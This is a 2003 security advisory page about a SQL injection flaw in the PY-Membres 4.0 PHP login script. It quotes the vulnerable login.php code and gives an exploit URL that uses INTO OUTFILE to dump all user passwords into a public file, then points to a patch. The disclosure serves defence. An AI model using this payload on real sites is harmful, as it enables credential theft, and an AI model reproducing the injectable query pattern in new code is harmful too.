logo Home

Untitled Document

Home > Archives Advisories > Articles


Untitled Document

Untitled Document

PY-Membres SQL Injection vulnerability
Date: 2003-04-07

Author : Frog Man <leseulfrog@hotmail.com>

Informations :
°°°°°°°°°°°°°°
Website : http://www.py-scripts.com/
Tested version : 4.0
PHP Config : magic_quotes_gpc=OFF
Problem : SQL Injection

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°

login.php :

------------------------------------------------------------------------
<?
session_start();
session_name("pys");
include("config.php");
include("functions.php");

est_vide($login,"Vous n\'avez pas saisi de login !");
est_vide($pass,"Vous n\'avez pas saisi de mot de passe !");
connexiondb();
$sql = "SELECT passwd FROM $db_table WHERE login='$login'";
$req = mysql_query($sql) or die('Erreur SQL
!<br>'.$sql.'<br>'.mysql_error());
$data = mysql_fetch_array($req);
if($data['passwd'] != $pass)
{
echo "<p>Mauvais login / password. Merci de recommencer</p>";
mysql_close();
exit;
}
else
{
$ploginy=$login;
session_register('ploginy');
$ip=$REMOTE_ADDR;
$host=gethostbyaddr($ip);
$log=date("d/m/Y à H\hi | ");
$log.=$ip." | ".$host;
$action = mysql_query("UPDATE $db_table SET lastlog='$log' WHERE
login='$ploginy'") or die (mysql_error()) ;
mysql_close();
Header("Location: membre.php");
}
?>
------------------------------------------------------------------------

Exploit :
°°°°°°°°°
http://[target]/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=1

will save all users passwords into the file http://[target]/file.txt.


Solution :
°°°°°°°°°°
A patch can be found on http://www.phpsecure.info.


More Details In French :
°°°°°°°°°°°°°°°°°°°°°°°°

http://www.frog-man.org/tutos/PY-Membres4.0.txt

frog-m@n



 

arrowSearch Advisories

arrowNewsletter

Free weekly Newsletter.

Please enter your email address here:
arrowReport Vulnerability

If you've found a vulnerability please
click here to report it.
arrowPartners

newsnow

About Us | Contact Us | Advertise | email | Backend flag
Copyright © 2016-2017 Security Corporation - All Rights Reserved - Legal - Privacy Policy